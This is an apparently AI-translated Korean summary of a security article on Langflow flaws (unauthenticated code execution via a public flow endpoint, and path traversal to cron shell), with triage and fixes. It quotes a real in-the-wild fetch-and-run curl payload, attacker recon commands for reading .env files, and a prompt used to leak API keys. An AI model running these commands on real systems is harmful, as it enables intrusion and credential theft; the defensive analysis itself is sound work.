단 한 번의 인증되지 않은 POST 요청으로 Langflow가 공개 Python 셸로 변하는 방법
요약
Langflow에서 발견된 심각한 보안 취약점(CVE-2026-33017, CVE-2026-5027)을 다룹니다. 인증되지 않은 POST 요청을 통해 임의의 Python 코드를 실행하거나 경로 탐색을 통해 셸 권한을 획득할 수 있어, API 키 탈취 등 막대한 피해가 우려됩니다.
핵심 포인트
- 인증 없는 POST 요청만으로 원격 코드 실행(RCE) 가능
- 경로 탐색 취약점을 이용한 임의 파일 쓰기 및 셸 탈취 가능
- Langflow, LangChain, LangGraph 사용 시 공격 표면 주의 필요
- 패치 버전 적용 시 변경 로그를 맹신하지 말고 직접 검증 권장
인증되지 않은 단 한 번의 Langflow 엔드포인트에 대한 POST 요청만으로 호스트에서 임의의 Python 실행이 가능해집니다. 자격 증명도, 개념 증명(PoC)도 필요하지 않습니다. 공격자들은 권고문(advisory) 텍스트만으로 작동하는 익스플로잇(exploit)을 구축했으며, 20시간 이내에 실제 공격에 사용되었습니다. 만약 어디에서든 Langflow, LangChain, 또는 LangGraph를 실행하고 있다면, 그것이 현재 귀하의 공격 표면(attack surface)의 형태이며, 그 피해 범위(blast radius)는 해당 프레임워크들이 보유한 모든 API 키입니다.
CVE-2026-33017: 공개 플로우 엔드포인트를 통한 인증되지 않은 RCE
Langflow는 "공개 플로우(public flows)"를 구축하는 것이 주 목적인 엔드포인트를 노출하며, 따라서 의도적으로 인증을 거치지 않습니다:
POST /api/v1/build_public_tmp/{flow_id}/flow
1.9.0 이전의 모든 릴리스에서는 공격자가 제공한 플로우 데이터(노드 정의에 포함된 Python 코드)를 수락하고, 샌드박스(sandbox) 없이 이를 exec()로 직접 전달했습니다:
__import__('os').system('curl hxxp://83[.]142[.]209[.]214:8080/isp.sh | sh')
이는 CWE-94(코드 주입, code injection)에 더해 CWE-306(인증 누락, missing authentication)에 해당합니다. 단 한 번의 요청, 자격 증명 없음, 호스트에서의 임의 코드 실행. CISA는 3월 25일에 이를 알려진 취약점(Known Exploited Vulnerabilities) 카탈로그에 추가했으며 4월 8일 연방 마감일을 설정했습니다. Sysdig의 허니팟(honeypots)은 공개적인 PoC가 존재하기도 전인 3월 17일 권고문 발표 후 약 20시간 만에 공격 로그를 기록했습니다.
CVE-2026-5027: 경로 탐색(path traversal) -> 임의 파일 쓰기 -> 셸
다른 문이지만, 결과는 동일한 호스트입니다. 파일 업로드 엔드포인트는 파일 이름을 전혀 정제(sanitize)하지 않았습니다:
POST /api/v2/files
파일명에 경로 탐색 시퀀스 (path traversal sequences)를 포함시키면 임의의 위치에 파일을 작성할 수 있습니다. 권한이 허용되는 /etc/cron.d 디렉토리에 파일을 하나 떨어뜨려 놓으면, 다음 cron 실행 시 셸 (shell)이 실행됩니다. CVSS 벡터상으로는 낮은 권한 (low privileges)을 요구하지만, Langflow는 기본적으로 자동 로그인 (auto-login)이 활성화된 상태로 배포됩니다. 이는 요청 시 노출된 인스턴스에 유효한 세션 토큰 (session token)을 제공하므로, 공격을 받은 배포 환경에서는 자격 증명 장벽이 형식적인 것에 불과했습니다. Tenable은 이를 3월 27일에 공개했으며, 실제 환경에서의 악용 (in-the-wild exploitation)은 6월에 나타났습니다. 수정 패치는 langflow-base 0.8.3 및 Langflow 1.9.0 버전에서 이루어졌습니다.
패치 계획을 세울 때 주의해야 할 점이 하나 있습니다: JFrog는 수정되었다고 널리 보고된 1.8.2 버전을 실증적으로 테스트한 결과, 여전히 공격이 가능하다는 것을 발견했습니다. 여러분이 적용할 버전에서 수정 사항을 반드시 검증하십시오. 변경 로그 (changelog)를 맹신하지 마세요.
폭발 반경은 CPU가 아니라 여러분의 키(keys)입니다
이러한 부류의 취약점이 일반적인 RCE (원격 코드 실행)보다 더 심각한 이유는 다음과 같습니다. 오케스트레이션 프레임워크 (orchestration framework)는 자격 증명 집중 장치 (credential concentrator)입니다. 플로우 (flows)는 OpenAI, Anthropic 또는 데이터베이스와 통신하는 방식이기 때문에, 제공자 키 (provider keys), 클라우드 자격 증명 (cloud credentials), 데이터베이스 연결 문자열 (database strings)을 컴포넌트 설정 (component configs)에 직접 포함합니다. 따라서 허니팟 (honeypot) 데이터에서 보이는 정찰 (recon) 행위는 환경 변수 (environment)를 직접 겨냥합니다:
env
find /app -name "*.db" -o -name "*.env"
코드 실행 (Code execution)을 통해 공격자가 얻는 것은 컴퓨팅 자원이 아닙니다. 그들이 얻는 것은 환경 변수에 쌓여 있는 키들의 더미이며, 이 키들은 현금화하기 매우 쉽습니다 (liquid). 이후 발생한 Langflow 사고에서 Sysdig는 한 운영자가 플로우를 하이재킹(hijack)하고 leak api keys라는 프롬프트 (prompt)를 입력하여, 자체 내장된 자격 증명으로 실행되는 플로우가 키를 드러내도록 유도하는 것을 관찰했습니다.
이 패턴은 Langflow보다 더 광범위합니다
LangChain-core에는 파일 유형과 배포 방식에 따라 디스크의 로컬 설정 및 비밀 정보가 포함된 파일을 읽을 수 있는 레거시 프롬프트 로딩 API (legacy prompt-loading API)의 경로 탐색 (path traversal) 취약점이 있습니다. LangGraph는 SQLite 및 Redis 체크포인트 저장소 (checkpoint stores)에서 안전하지 않은 역직렬화 (insecure-deserialization) 체인을 포함하고 있으며, Check Point는 자체 호스팅 (self-hosted) 배포 환경에서 SQL 인젝션 (SQL injection)부터 코드 실행 (code execution)까지의 과정을 확인했습니다. 관리형 서비스인 LangSmith는 영향을 받지 않았습니다. 아직 실제 환경에서의 악용 사례가 확인된 것은 없으나, Check Point가 작동하는 PoC (Proof of Concept)를 배포하고 있으므로 "아직"이라는 단어는 매우 무겁게 받아들여야 합니다.
이것들은 인젝션 (injection), 탐색 (traversal), 역직렬화 (deserialization) 등 우리가 수십 년 동안 다뤄온 것과 동일한 버그 클래스입니다. 새로운 점은 이들이 존재하는 위치입니다. 바로 당신의 애플리케이션 코드가 임포트 (import)하는 프레임워크의 3단계 아래에 위치한다는 것입니다. 당신의 WAF (Web Application Firewall)는 역직렬화기를 검사하지 않으며, 당신의 EDR (Endpoint Detection and Response)은 에이전트 서버가 하루에 수천 번씩 수행하는 프로세스 호출을 그대로 통과시킵니다. 전 AWS 부 CISO인 Merritt Baer가 언급했듯이, 이러한 문제가 발생했을 때 이는 AI의 문제라기보다 "당신의 전통적인 보안 프로그램이 실패하는 것처럼 느껴질 것"입니다.
분류 (Triage): 노출되었는가, 그리고 공격을 받았는가?
실제로 무엇을 실행 중인지 확인하십시오:
pip show langflow # 또는 컨테이너 이미지 태그를 확인하십시오
# 취약함: 1.9.0 미만의 모든 버전. JFrog에 따르면 경험적으로 확인하십시오 — 일부 "수정된" 태그들도 수정되지 않았습니다.
인스턴스가 외부 네트워크에서 접근 가능한지 여부를 확인하십시오 (외부 호스트에서, 또는 자신의 ASN에 대한 Shodan/Censys 조회를 통해). 만약 Langflow 또는 LangGraph 인스턴스가 공개 인터넷에 응답한다면, 이미 탐색(probed)된 것으로 간주하십시오.
그 다음, 액세스 로그 (access logs)에서 취약한 엔드포인트 (endpoints)에 대한 히트가 있는지 grep으로 검색하십시오:
grep -E "build_public_tmp|/api/v2/files" access.log
그리고 있어서는 안 될 것들을 찾아보십시오: 앱 프로세스에 의해 생성된 셸 (shell), .env 파일 읽기, /etc/cron.d 내의 새로운 항목, 또는 예상치 못한 아웃바운드 연결 (outbound connections) 등입니다. 이는 시그니처가 필요 없는 영역입니다. Falco의 기본 규칙 세트(ruleset)는 웹 프로세스가 셸을 생성하거나 예상치 못한 아웃바운드 연결을 시도하는 것을 이미 탐지하며, 이는 특정 CVE에 대한 규칙이 작성되기 전인 제로 데이 (day zero) 상황에서 정확히 필요로 하는 기능입니다.
해결 방법 (Fixes)
- 공개 인터넷으로부터 격리하십시오. Langflow 또는 LangGraph 인스턴스가 공개 웹에 응답해야 할 정당한 이유는 거의 없습니다. 앞단에 인증 (Auth) 또는 VPN을 배치하십시오.
- 최신 버전으로 패치한 후, 패치가 취약점을 막았는지 확인하십시오. 릴리스 노트 (release note)를 믿지 말고, 커밋 (commit)을 확인하거나 PoC (Proof of Concept)를 실행해 보십시오.
- 해당 인스턴스가 접근할 수 있는 모든 자격 증명 (credential)을 교체하십시오. 프로바이더 키 (provider keys), 클라우드 자격 증명 (cloud creds), DB 연결 문자열 (DB strings) 등이 대상입니다. 만약 이러한 노출 기간 중에 해당 정보가 노출되었다면, 이미 탈취되었다고 가정하십시오.
- 각 배포(deployment)에 소유자를 지정하십시오. 나머지 운영 환경과 동일한 외부 공격 표면 모니터링 (external attack-surface monitoring) 체계 안에 두어야 합니다. 실행 중인지조차 모르는 것은 패치할 수 없습니다.
- 웹 프로세스로부터의 셸 생성 및
.env읽기에 대해 시그니처가 필요 없는 런타임 탐지 (runtime detection)를 추가하십시오. (Falco 또는 그에 상응하는 도구)
여기서 나타난 취약점들은 평범합니다. 변한 점은 우리가 API 키로 가득 찬, 인터넷에서 접근 가능한 수천 개의 Python 실행 환경을 구축해 놓고 정작 우리가 실행하는 다른 모든 것을 관리하는 보안 프로그램에는 포함시키지 않았다는 것입니다. 만약 이 중 하나라도 운영 환경 (production)에서 운영하고 있다면 스스로에게 물어보십시오: 패치 주기를 관리하는 책임자는 누구이며, 공격자의 스캐너가 찾아내기 전에 어떻게 인스턴스를 찾아낼 것입니까?
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기